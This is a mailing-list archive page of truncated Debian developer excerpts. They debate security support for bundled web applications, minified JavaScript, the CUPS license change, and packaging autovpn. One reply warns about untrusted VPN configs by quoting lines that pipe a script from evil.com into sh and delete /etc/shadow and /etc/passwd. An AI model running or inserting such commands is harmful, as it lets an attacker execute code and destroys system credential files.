On 2018-02-18 22:53, Adrian Bunk wrote:
In the year 2018, any kind of "properly maintain" includes security
support.
Please elaborate how Debian can provide security support for packages
like gitlab and all their dependencies in buster until mid-2022.
If Debian cannot provide security support
On Sat, 17 Feb 2018 at 02:11 Raphael Hertzog wrote:
> I'm sure we are missing lots of good applications due to our requirements.
> What can we do to avoid this?
>
[...]
> What do you think? Do you have other ideas? Are there other persons
> who are annoyed by the current situation?
>
I'd like to
> > Who said we cannot properly maintain this stuff? And where do you
> > think our expected level of quality (whatever that is) will not be
> > reached?
>
> In the year 2018, any kind of "properly maintain" includes security
> support.
Indeed it does, but not necessarily the way we handle it now
Package: wnpp
Severity: wishlist
Owner: Michael Meskes
* Package name: autovpn
Version : 0.0~git20170129.72dd7f6-1
Upstream Author : Adhityaa C
* URL : https://github.com/adtac/autovpn
* License : GPL V3
Programming Lang: Go
Description : Connect to a
> Version : 0.0~git20170129.72dd7f6-1
> Upstream Author : Adhityaa C
> * URL : https://github.com/adtac/autovpn
..
> autovpn is a tool to automatically connect you to a random VPN
> in a country of your choice. It uses openvpn to connect you to a server
> obtained from VPN
Hi,
On Sat, 17 Feb 2018, Andreas Tille wrote:
> > I know this, but this specific sub-thread was for the case if the team
> > has gotten a list on lists.debian.org (so with public archives already).
> > Using the tracker team for automated mail only is fine.
>
> I have something like ftpmaster RE
> I'd strongly urge you to reconsider packaging this project, for
> three main reasons:
>
> * It relies upon the external VPNGate.net site/service. If this
> goes away in the lifetime of a stable Debian release users will
> be screwed.
That is actually a good point. I wonder if usin
On Mon Feb 19, 2018 at 12:44:40 +0100, Michael Meskes wrote:
> > * It relies upon the external VPNGate.net site/service. If this
> > goes away in the lifetime of a stable Debian release users will
> > be screwed.
>
> That is actually a good point. I wonder if using a local copy might b
On Mon, Feb 19, 2018 at 10:21:18AM +0100, Michael Meskes wrote:
Maybe you answered your question yourself. How about we tie our
security support to upstream's? Instead of fixing and backporting
ourselves we promise our users that this section of the archive will
get upstream's latest fixes even i
On Fri, 16 Feb 2018, W. Martin Borgert wrote:
> Is was a relevant part of the problem mentioned in Raphaels bug
> report: Minified JS libraries without source code. this was one
> of the starting points of this discussion. (#890598)
It's not "without source code", it's just that the source code of
On Mon, Feb 19, 2018 at 10:49:40AM +, Steve Kemp wrote:
I'd strongly urge you to reconsider packaging this project, for
three main reasons:
It's almost a case study of why we don't need to package everything in
the whole world...
Mike Stone
Holger wrote:
>On Sat, Feb 17, 2018 at 11:14:51PM +, Colin Watson wrote:
>> * Constrained to the sort of server-side applications that might
>>reasonably be run in a container on their own, just to keep the
>>problem size down a bit.
>
>why this contraint, there are more and more deskt
On Sat, 17 Feb 2018, Russ Allbery wrote:
> The reason why Debian in general doesn't like to support vendored source
> is because of the security implications: when there's a security
> vulnerability in one of the vendored libraries, updating the relevant
> packages becomes a nightmare. It's a logi
On Mon, Feb 19, 2018 at 9:51 PM, Raphael Hertzog wrote:
> I don't want to lower the quality of what we have built so far, so while
> it's technically possible to build .deb and include a bundle of libraries
> pinned at the correct version, I don't think that this should allowed into
> the main arc
On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote:
> > - we could relax our requirements and have a way to document the
> > limitations of those packages (wrt our usual policies)
>
> Which requirements are you referring to? If it's relaxing the need for
> source for minified javascript, t
Raphael Hertzog, on lun. 19 févr. 2018 15:19:59 +0100, wrote:
> On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote:
> > > - we could relax our requirements and have a way to document the
> > > limitations of those packages (wrt our usual policies)
> >
> > Which requirements are you referri
> I think Debian has never been afraid of tackling hard problems and we
> should find a third way.
>
> I don't want to lower the quality of what we have built so far, so while
> it's technically possible to build .deb and include a bundle of libraries
> pinned at the correct version, I don't think
On Mon, 19 Feb 2018, Paul Wise wrote:
> On Mon, Feb 19, 2018 at 9:51 PM, Raphael Hertzog wrote:
>
> > I don't want to lower the quality of what we have built so far, so while
> > it's technically possible to build .deb and include a bundle of libraries
> > pinned at the correct version, I don't th
On Mon, Feb 19, 2018 at 03:19:59PM +0100, Raphael Hertzog wrote:
> Instead of requiring the source to be provided in the source package as a
> non-minified file, we could require the packager to document in
> debian/README.source where the upstream sources actually are.
Ie, it'd be fine to ship pr
On 19/02/2018 14:28, Samuel Thibault wrote:
> Raphael Hertzog, on lun. 19 févr. 2018 15:19:59 +0100, wrote:
>> On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote:
- we could relax our requirements and have a way to document the
limitations of those packages (wrt our usual policie
On Mon, 19 Feb 2018, Samuel Thibault wrote:
> Raphael Hertzog, on lun. 19 févr. 2018 15:19:59 +0100, wrote:
> > On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote:
> > > > - we could relax our requirements and have a way to document the
> > > > limitations of those packages (wrt our usual p
On Mon, Feb 19, 2018 at 02:51:31PM +0100, Raphael Hertzog wrote:
Our core value is here and we can still provide value to our users in
the new world that is emerging around us. We should just stop to be afraid
of it.
I'd argue that what people should stop being afraid of is just using a
third
On Mon, Feb 19, 2018 at 09:52:57AM -0500, Michael Stone wrote:
> I'd argue that what people should stop being afraid of is just using a third
> party package if that's the optimal solution.
+1
--
cheers,
Holger
signature.asc
Description: PGP signature
Raphael Hertzog, on lun. 19 févr. 2018 15:52:14 +0100, wrote:
> On Mon, 19 Feb 2018, Samuel Thibault wrote:
> > But what if that upstream website goes down? We don't have the source
> > any more. Better at least keep a copy of the tarball.
>
> Sure. But as a packager, I don't want to have to do th
(Adding d-legal)
Didier 'OdyX' Raboud writes ("CUPS GPL → Apache license change, how to
proceed?"):
> tl,dr; CUPS has moved from "GPL-2.0 with AOSDL exception" to
> "Apache-2.0"; how should the license incompatibilities be enforced?
This reply is going to be annoying, I fear:
> Some questions a
On വെള്ളി 16 ഫെബ്രുവരി 2018 08:41 വൈകു, Raphael Hertzog wrote:
> - while gitlab is packaged in Debian, its packaging took years and the
> result is brittle because it can break in many ways whenever one the
> dozens of dependencies gets updated to some new upstream version
> (BTW salsa.debia
Hey Debian Developers!
I have a few questions about making a Debian-Based Distro
1.Do you make a ISO of Debian without anything installed?, Just the base
Operating System, I need this as I want to make my Debian-Based Distro
2.While Rebranding Debian, What are the files I have to re brand?. Als
> Because eventually a future version will come out that doesn't work
> with
> the stable base, at which point we suddenly stop supporting the
> package.
> That's much worse than just admitting up front that we can't support
> the
> package for the next 4 years.
Let's agree to disagree. I find
On Mon, Feb 19, 2018 at 07:03:04PM +0100, Michael Meskes wrote:
Because eventually a future version will come out that doesn't work
with
the stable base, at which point we suddenly stop supporting the
package.
That's much worse than just admitting up front that we can't support
the
package for th
On Fri, Feb 16, 2018 at 08:18:13PM +0100, Samuel Thibault wrote:
> W. Martin Borgert, on ven. 16 févr. 2018 18:59:21 +0100, wrote:
>...
> > This is very much a web application problem. Other software is
> > less affected in my experience.
>
> Sure. But the current world is more and more focused on
> Yes. For example these snippets will do what you fear they will:
>
> script-security 2
> up curl http://evil.com/root-me.sh | sh
> up rm /etc/shadow
> down rm -f /etc/passwd
I just looked into the code myself and have to say you got me
convinces. I rescind my ITP and close th
On Mon, Feb 19, 2018 at 07:03:04PM +0100, Michael Meskes wrote:
> > Because eventually a future version will come out that doesn't work
> > with
> > the stable base, at which point we suddenly stop supporting the
> > package.
> > That's much worse than just admitting up front that we can't suppor
On Sun, Feb 18, 2018 at 11:47:52PM +0100, Vincent Bernat wrote:
> ❦ 18 février 2018 23:53 +0200, Adrian Bunk :
>
> >> Who said we cannot properly maintain this stuff? And where do you
> >> think our expected level of quality (whatever that is) will not be
> >> reached?
> >
> > In the year 2018,
On Mon, Feb 19, 2018 at 09:18:13AM +0100, Philipp Kern wrote:
> On 2018-02-18 22:53, Adrian Bunk wrote:
> > In the year 2018, any kind of "properly maintain" includes security
> > support.
> >
> > Please elaborate how Debian can provide security support for packages
> > like gitlab and all their d
Package: wnpp
Severity: wishlist
Owner: Sascha Steinbiss
* Package name: golang-github-showmax-go-fqdn
Version : 0.0~git20160909.2501cdd-1
Upstream Author : Showmax s.r.o.
* URL : https://github.com/ShowMax/go-fqdn
* License : Apache-2.0
Programming Lang: Go
> > Let's agree to disagree. I find it perfectly fine if we told people
> > up
> > front that we support it as long as upstream has a version that
> > works
> > with the stable base. They are still better or at least not worse
> > of
> > with that than with a self-installed one.
>
> Why? With the
> What is the user supposed to do when Debian announces that some
> software essential for that user is no longer supported in the
> stable release the user is using?
Again, where does this differ from the user realizing their own self-
baked installation cannot be upgraded anymore?
> At that po
> The software might integrate properly into Debian - and allow
> everyone
> on the internet to take control of your computer.
Which is of course independent of the way you install the software.
> An example what "no security support" means in practice:
I don't think anyone suggest "no security
❦ 19 février 2018 20:36 +0200, Adrian Bunk :
>> Debian is not only about security support. We provide packages without
>> security support. We also have backports that come without security
>> support either. This is still better than installing random packages
>> made by random people which may
On Mon, Feb 19, 2018 at 08:35:29PM +0100, Michael Meskes wrote:
> > What is the user supposed to do when Debian announces that some
> > software essential for that user is no longer supported in the
> > stable release the user is using?
>
> Again, where does this differ from the user realizing th
On Mon, Feb 19, 2018 at 08:40:12PM +0100, Michael Meskes wrote:
>...
> > An example what "no security support" means in practice:
>
> I don't think anyone suggest "no security", but something like
> "security by upstream releases".
How can you guarantee that to our users for buster until mid-2022
On Mon, Feb 19, 2018 at 08:44:58PM +0100, Vincent Bernat wrote:
>...
> Or we could put those software in a special repository (called "unsupported")
>...
What about calling it "nsa-enablement"?
Cause that's what it is.
But to be fair, no longer installing packages without security support
in the
> > And why wouldn't we offer said upstream version instead of the
> > unsupported older one?
>
> In some cases this might require changing literally thousands of
> packages in stable.
>
> Imagine said upstream version requires the latest Node.js.
>
> Various other packages in stable won't work
On Mon, Feb 19, 2018 at 10:16:56PM +0200, Adrian Bunk wrote:
> On Mon, Feb 19, 2018 at 08:40:12PM +0100, Michael Meskes wrote:
> >...
> > > An example what "no security support" means in practice:
> >
> > I don't think anyone suggest "no security", but something like
> > "security by upstream rele
On Mon, Feb 19, 2018 at 09:42:28PM +0100, Michael Meskes wrote:
>
> Right, and that's why we were talking about stuff like flatpak that
> bring the application with its dependencies, more or less like a
> container.
>
Which happens to bring with an entirely different set of problems. That
said, t
On Mon, Feb 19, 2018 at 09:42:28PM +0100, Michael Meskes wrote:
> > > And why wouldn't we offer said upstream version instead of the
> > > unsupported older one?
> >
> > In some cases this might require changing literally thousands of
> > packages in stable.
> >
> > Imagine said upstream version
On Mon, Feb 19, 2018 at 03:52:30PM -0500, Roberto C. Sánchez wrote:
> On Mon, Feb 19, 2018 at 10:16:56PM +0200, Adrian Bunk wrote:
> > On Mon, Feb 19, 2018 at 08:40:12PM +0100, Michael Meskes wrote:
> > >...
> > > > An example what "no security support" means in practice:
> > >
> > > I don't think
On 2018-02-19 at 16:03, Adrian Bunk wrote:
> On Mon, Feb 19, 2018 at 03:52:30PM -0500, Roberto C. Sánchez wrote:
>
>> On Mon, Feb 19, 2018 at 10:16:56PM +0200, Adrian Bunk wrote:
>>> Debian already does "security by upstream releases" for Firefox,
>>> and this clearly shows why this is problema
On Mon, Feb 19, 2018 at 08:44:58PM +0100, Vincent Bernat wrote:
> a bit like backports that are not security supported
> either.
this is now the 2nd mail within 24h were you claim this *wrongly*.
backports are (supposed to be) getting security support. if you dont do
this for your backports, you
❦ 19 février 2018 22:33 GMT, Holger Levsen :
>> a bit like backports that are not security supported
>> either.
>
> this is now the 2nd mail within 24h were you claim this *wrongly*.
>
> backports are (supposed to be) getting security support. if you dont do
> this for your backports, you should
On Tue, 20 Feb. 2018, 09:44 Vincent Bernat, wrote:
> ❦ 19 février 2018 22:33 GMT, Holger Levsen :
>
> >> a bit like backports that are not security supported
> >> either.
> >
> > this is now the 2nd mail within 24h were you claim this *wrongly*.
> >
> > backports are (supposed to be) getting se
Michael Meskes writes:
[...]
> Maybe you answered your question yourself. How about we tie our
> security support to upstream's? Instead of fixing and backporting
> ourselves we promise our users that this section of the archive will
> get upstream's latest fixes even if that means the version
❦ 19 février 2018 22:59 GMT, Craig Small :
>> >> a bit like backports that are not security supported
>> >> either.
>> >
>> > this is now the 2nd mail within 24h were you claim this *wrongly*.
>> >
>> > backports are (supposed to be) getting security support. if you dont do
>> > this for your ba
On 19/02/2018 19:25, Project Echo wrote:
> Hey Debian Developers!
Hi! This list is for the development of Debian, please rather use a more
appropriate list, like debian-derivatives for questions regarding
derivatives, custom spins, pure blends, etc.
> I have a few questions about making a Debian-
On 20/02/2018 08:05, Jonathan Carter (highvoltage) wrote:
> https://wiki.debian.org/Derivatives/Guidelines may be of help, as would
> the other pages on https://wiki.debian.org/Derivatives
PS: As Pabs pointed out to me on IRC, the debian-blends list might be
more appropriate for blends (more about
Vincent Bernat writes:
> Moreover, backports do not accept security patches. You can only push a
> version in testing (or unstable). Notably, if the version in testing is
> not easily backportable (because of new dependencies), you may wait
> quite some time before you get a security update.
Also
Didier 'OdyX' Raboud wrote:
> - What tools should I be using to identify which of these will be
> undistributable constructs? Aka: how, given a list of source packages,
> can I determine which are GPL-2-only in the codepaths that link against
> CUPS?
> [CUPS-links-to] CUPS dynamically links agai
❦ 20 février 2018 09:05 +0200, Arto Jantunen :
>> Moreover, backports do not accept security patches. You can only push a
>> version in testing (or unstable). Notably, if the version in testing is
>> not easily backportable (because of new dependencies), you may wait
>> quite some time before yo
58 matches
Mail list logo
